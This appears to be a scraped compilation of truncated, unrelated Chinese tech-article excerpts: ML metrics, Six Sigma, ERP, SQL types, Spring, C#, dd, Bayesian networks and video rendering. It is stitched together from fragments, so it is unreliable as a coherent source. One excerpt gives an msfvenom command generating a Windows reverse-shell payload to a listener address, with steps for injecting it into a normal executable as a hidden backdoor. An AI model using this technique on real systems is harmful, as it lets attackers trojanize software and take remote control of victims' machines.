尽管它们都是通用的度量标准,但在什么时候使用哪一个并不明显。 R方(R²) R²代表模型所解释的方差所占的比例。 R²是一个相对度量,所以您可以使用它来与在相同数据上训练的其他模型进行比较。...调整后的R²有助于您集中精力使用最节省的模型。? 调整后的R²在统计推断中比在机器学习中更常见。scikitlearn是用于机器学习的主要Python库,甚至没有调整过的R²度量。...每当你听到这个词,你就知道你在统计学领域。在机器学习中,我们通常最关心的是预测能力,因此R²比调整后的R²更受青睐。...☝️ RMSE的公式如下:SSE平方根我们在R²得分指标中看到了SSE。它是误差平方和;实际值和预测值的平方差之和。...总结 那么您应该使用哪种度量标准呢?总的来说,有以下三点!? R²使评估性能的人员可以对模型的性能有一个直观的了解。 RMSE不太容易理解,但非常常见。它惩罚了非常糟糕的预测。
在本文中,我将尝试解释一些基本概念,并在不同的任务中使用不同类型的机器学习算法。在文章的最后,你将看到描述算法的主要特性的结构化概述。...强化学习是机器学习的一个领域,它关注的是软件agent应该如何在某些环境中采取行动,以最大化累积奖励的概念。 ? 想象一下,你是一个机器人,在一个陌生的地方,你可以完成活动并从所处的环境中获得奖励。...2.逻辑回归 不要将这些分类算法与在它的标题中使用“回归”的回归方法混淆。逻辑回归执行二进制分类,因此标签输出是二进制的。...根据对数的性质,如果y=0,那么在总和下的第一个加数等于0,并且第二个加数让我们所预测的y_pred越接近0。在y=1的情况下也是类似的。...在每个节点中,我们选择了所有特征和所有可能的分割点之间的最佳分割。每一个分割都被选择,以最大化某些泛函。在分类树中,我们使用交叉熵和Gini指数。
当被问到这个古老的问题时,我们又该烦恼了:六西格玛、精益生产和Kaizen,应该使用哪种改进工具更好?图片首先让我们分别定义每个业务流程改进术语:Kaizen更多的是一种持续改进的理念。...六西格玛是一种数据驱动的方法,其中使用的所有流程都提供尽可能接近无错误的恒定产品或服务。它利用DMAIC 方法:定义:确定具体的问题或问题措施:获取流程当前性能的基线;这将帮助您稍后找到根本原因。...分析:确定问题或问题的原因改进:提出并验证解决方案控制:维护新建立的解决方案要确定该使用哪个工具,您必须确定具体的问题。
这里是决策树和随机森林,我们将详细探究这种观点,深入挖掘两种方法的主要差异,并且对关键问题进行回复——你应该选择那种机器学习算法?...,但是在样本外估计的表现迅速下降。...因为我们的决策树在训练集上产生了过拟合。随机森林能否解决这一问题? 建立随机森林模型 让我们来看一下随机森林模型: 在这里,我们可以清楚地看到在样本外估计当中,随机森林模型比决策树的表现更优。...让我们在接下来的一部分当中来讨论一下背后的原因。...你应该把此纳入考虑,因为随着决策树数量的增加,所需要的训练时间也会越长。在你面临着紧张的机器学习项目安排过程中这可能通常是至关重要的。
注重使用、有效、科学的手段来提高员工的认识,提高管理理念和技术能力。 提高对ERP系统的认识ERP系统的实施是一个管理项目,而非仅仅是一个IT项目。...不少企业高层管理人员尚未认识到这一点:在选择系统时仅由技术主管负责,缺少业务部门用户的参与;项目经理由技术部门的领导担任,高级管理人员、尤其是企业的一把手未能亲自关心负责系统实施。
要进行计算的度量值,可以选择的数据类型也有好多种,那么我们应该选择哪一种呢? 首先定个大的方向,是整数还是小数?...即使是int这种32位的整数,在数据量特别大的情况下,如果要做sum甚至是avg操作,很可能就会溢出,所以一般推荐使用bigint。...Decimal的运算性能不如money,但是差距也不是那么的明显,在无法预期的对度量值的运算的情况下,使用decimal更保险。...如果是小数,而且不是那么关心精度,可以使用float,如果要计算的数值非法非常大就必须使用float,但是对于一分钱都不能差的情况下,就不要使用float类型。...而应该使用money或者decimal。 如果不会有除法运算,而且数据的精度是在小数点后4位以内,那么使用money,其速度比decimal更快。
Spring @Transactional想必大家都很熟悉,那它是在类上或实现类的方法上和在接口上或接口方法上哪种使用方式是更好的选择呢?...@Transactional注解,而不是在接口或接口方法上使用。...@Transactional也可以在接口上使用,但是这仅限于你使用的是基于接口的动态代理。...在java中注解是不会被继承的,如果使用的是基于类的动态代理或者使用aspectj,@Transactional注解的作用就失效了。 总结 Spring 官方建议还是在具体的类上或类的方法上。...我本人赞同Spring官方的观点,事务也是一个实现细节,它应该在具体的类上或方法上,到底具体的实现是否是需要事务要看具体的实现细节。
参考 在文章Backdooring PE Files with Shellcode中介绍了一种在正常程序中注入shellcode的方式,让程序以前的逻辑照常能够正常运行,下面复现一下并解决几个小问题。...; return 0; } 编译后的exe,可以使用CFF Explorer查看相关信息。...bin文件,命令:msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=443 | hexdump -C 通过010Editor等编辑工具在bin...文件的前后各插入20-40个字节,以90填充 在目标exe中添加一个新的代码段,将bin的内容导入,并设置可读、可写、可执行、包含代码等属性标志 更新header大小以及重建PE头 使用x32dbg调试...问题3:在监听端失联的情况下,程序长时间阻塞后程序终止 应该是检查服务端失联的情况下直接终止程序了,通过调试找到终止位置nop掉即可 ?
使用ref前必须对变量赋值,out不用。 out的函数会清空变量,即使变量已经赋值也不行,退出函数时所有out引用的变量都要赋值,ref引用的可以修改,也可以不修改。 ...区别可以参看下面的代码应该就明白了: using System; class TestApp { static void outTest(out int x, out int y) {//离开这个函数前...//y = x; //上面这行会报错,因为使用了out后,x和y都清空了,需要重新赋值,即使调用函数前赋过值也不行 x = 1; y = 2; } static void refTest...x, ref int y) { x = 1; y = x; } public static void Main() { //out test int a,b; //out使用前...Console.WriteLine("c={0};d={1}",c,d); //ref test int m,n; //refTest(ref m, ref n); //上面这行会出错,ref使用前
也有的企业在继续使用老的信息管理软件,比如EXCEL表格等等,已经无法满足现阶段企业的需求,花在故障维护和数据输入上的时间愈来愈多,用来完成核心工作的时间都被消耗殆尽,这类情况出现的原因是没有正确认识到企业软件的用途...因此建议当系统消耗了大量的时间与资金后,依旧不再好转时,就没有必要在继续在往里投入。 ...企业公司在使用新的管理软件系统时,软件供应商和第三方顾问提供的定制功能固然能满足企业各方各面的需求,但如果这些定制对企业流程改进和发展造成了负担,就变得事得其反了,过于复杂或详细的定制会拖慢软件运行速度...,使其难以使用。...及时的更新和维护也是企业软件在使用过程中的重点之一。
此外,它可以在多种平台上使用,包括Windows,Linux和macOS。...此外,它对于使用流行的Web应用程序框架(如Django和Flask)进行Web开发特别有用。此外,程序员还可以使用各种API创建他们的Python插件。...远程开发 - PyCharm 允许您开发和调试在远程计算机、虚拟机和容器上运行的代码。...版本控制集成 - PyCharm支持广泛的版本控制系统,如Git,Mercurial和SVN,使得使用存储在版本控制存储库中的代码变得容易。...但是,您是否应该使用它取决于您的特定需求和偏好。如果您不熟悉编程或更喜欢简单的文本编辑器,则可能需要从更基本的工具开始。但是,如果您正在处理大型项目或需要高级功能,PyCharm可能是您的最佳选择。
最近小伙伴在收集放假前的排班数据 但是收上来的数据乱七八糟的 长下面这样 但是老板们只想看排班率 所以我们最终做的表应该是这样 需要计算出排班率 排班率=排班人数/总人数 合计之外的每一个单元格...都需要引用 除了最基础的等于=引用 我们还有一种更加万能的Vlookup+Match的方法 这样无论日期怎么变化 无论日期顺序是否能对上 我们都不用更改公式 例如A部门,2月1日的排班率应该这么写 =
前言 目前大部分公司都在使用 Git 作为版本控制,每个程序员每天都要进行代码的提交。...对应的格式: [optional scope]: # 空行 [optional body] # 空行 [optional footer] ❝更严格的项目可能提交要求使用英文描述...如果产生了上述的影响强烈建议在提交信息中写明break change,有利于出问题时快速定位,回滚,复盘。...那么在 Git 提交时,我们可以在foot区域关联本次提交涉及的issue。...在Intellij IDEA的插件市场有很多 Git Commit Message 模板插件,可以可视化的实现这些规范。
你已插入了空的驱动器(理想情况下容量与/dev/sda系统一样大)。...在本文中,if=对应你想要恢复的镜像,of=对应你想要写入镜像的目标驱动器: # dd if=sdadisk.img of=/dev/sdb 还可以在一个命令中同时执行创建操作和复制操作。...dd of=backup.gz 你应该始终测试归档,确认它们是否正常可用。...万一大使馆遇到什么危险,可以使用这把锤子砸烂所有硬盘。 那为什么不删除数据呢?你不是在开玩笑吧?众所周知,从存储设备删除含有敏感数据的文件实际上删除不了数据。...然而,你可以使用dd让不法分子极难搞到你的旧数据。
今天遇到一个应用场景: 在需要在自定义的Interceptor中判断用户密码是否过期,如果过期,则重定向到修改密码页,强制修改密码,同时给出提示:“您的密码已过期,请修改密码” 判断逻辑很简单,但是重定向的时候需要前台有消息提示...,如果是在Controller中,可以在方法上注入RedirectAttributes参数,但是Interceptor中默认没有这个参数,那么我们如何实现RedirectAttributes的flashMessage
在 dotnet 里面,可以使用 FormatterServices 的 GetUninitializedObject 方法可以实现只创建对象,而不调用对象的构造函数方法。...而如果在使用此方法时,存在了 DLL 缺失的情况,此时能否让此方法运行通过,创建出空的对象 答案是可以创建成功,也可以创建不成功。当所有碰到的字段都是引用类型的时候,可以创建成功。...在构建完成之后,删除包含 F3 类的项目的输出 DLL 文件。...接着运行 Main 方法,可以看到实际上 f1 对象还是被创建才出来,不会炸掉 上面代码放在 github 和 gitee 欢迎访问 可以通过如下方式获取本文的源代码,先创建一个空文件夹,接着使用命令行...上面代码放在 github 和 gitee 欢迎访问 可以通过如下方式获取本文的源代码,先创建一个空文件夹,接着使用命令行 cd 命令进入此空文件夹,在命令行里面输入以下代码,即可获取到本文的代码 git
对于什么情况下才应该使用存储过程而不是用程序来对数据做操作的问题,我有下面的看法。...其他内容 OLTP类的应用可能需要更多的业务逻辑,而数据操作的复杂性和容量相对较小,甚至在应用程序层实现中,数据操作也不会产生太大的影响。...应用程序软件可移植性(DB独立性),软件可能需要支持多个数据库,如Oracle或IBM数据库,应该支持上述应用程序。
在本文中,我将交替使用CPT和CPD。 CPT以条件概率或先验来描述每个节点的关系强度。 然后CPT与贝叶斯规则一起使用,以更新允许进行推断的模型信息。...当使用单个随机变量时,计算概率是相对简单的。从我的专家角度来看,在过去1000天里,我亲眼目睹了70%的多云天气。因为概率加起来应该是1,非多云的概率应该是30%。...在我们的例子中,在多云的情况下下雨的概率。因此,证据是多云,变量是雨。从我的专家的观点来看,下雨的时候,80%的时间也是多云的。我也有20%的时间看到下雨,没有可见的云。...这里我们需要定义在多云发生的情况下喷头的概率。因此,证据是多云,变量是雨。我能看出来,当洒水器关闭时,90%的时间都是多云的。...在这种情况下,您可能需要组合这些概率,或者决定谁是正确的。 所使用的知识和专家的经验一样丰富并且和专家一样的带有偏见 换句话说,我们通过询问专家得到的概率是主观概率[5]。
这段代码演示了如何使用JPA进行数据库查询,而无需将数据绑定到实体对象。通过本文,你将了解如何使用原生SQL查询从数据库中高效地检索数据。...然而,在某些情况下,你可能希望直接使用SQL执行复杂查询,以获得更好的控制和性能。本文将引导你通过使用JPA中的原生SQL查询来构建和执行查询,从而从数据库中检索数据。...在这种情况下,结果列表将包含具有名为depot_id的单个字段的对象。...在需要执行复杂查询且标准JPA映射结构不适用的情况下,这项知识将非常有用。欢迎进一步尝试JPA原生查询,探索各种查询选项,并优化查询以获得更好的性能。...这种理解将使你在选择适用于在Java应用程序中查询数据的正确方法时能够做出明智的决策。祝你编码愉快!
关于madVR渲染器的使用将会在下面提到,这里先不详细展开。 如何顺利解码10bit 如果大家有留意,应该会发现很多HDR视频的色深都是10bit。...二来使用native解码会强制使用YUV输出(在LAV设置了RGB输出也不行),如果使用EVR渲染器画质会比较差。...无论哪种硬解,都只对色彩空间是YUV 4:2:0的视频有效,遇到YUV 4:4:4之类的高规格还是会软解的。...如果你信得过软件自动识别,那么也可以选择“let madVR decide”,一般情况下还是靠谱的。...madVR可以较好地处理色域转换,不想折腾选择自动即可 这里可以讲一下madVR这里几个关于HDR色域转换的选项,其他选项在什么情况下用得着?
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